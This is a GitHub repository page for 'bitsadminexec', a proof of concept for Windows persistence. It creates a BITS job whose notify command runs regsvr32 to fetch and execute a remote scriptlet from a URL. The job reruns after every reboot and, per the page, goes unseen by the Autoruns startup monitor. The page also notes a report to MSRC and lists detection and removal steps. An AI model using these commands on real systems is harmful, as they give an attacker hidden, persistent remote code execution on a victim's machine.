Skip to content

Use bitsadmin to maintain persistence and bypass Autoruns

Notifications You must be signed in to change notification settings

3gstudent/bitsadminexec

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 

Repository files navigation

bitsadminexec

Use bitsadmin to maintain persistence and bypass Autoruns

Report to MSRC.

Author: 3gstudent@3gstudent

License: BSD 3-Clause

POC

(1) First we should have the administrator's right.

(2) Then run this on cmd with administrator's right:

bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor

(3) Then it will run the following command to start a calc.exe:

regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll

(4) What's more,after we restart the system,the command to start a calc.exe runs again and again.

Impact of the issue

Autoruns's startup monitor can't find this.

Test success on Win7 、Win8、Server 2008 and so on.

Detect

Run this to check the jobs and delete it:

bitsadmin /list /allusers /verbose

or

Stop Background Intelligent Transfer Service

More deatils:

http://drops.wooyun.org/tips/15692

《Use bitsadmin to maintain persistence and bypass Autoruns》

About

Use bitsadmin to maintain persistence and bypass Autoruns

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published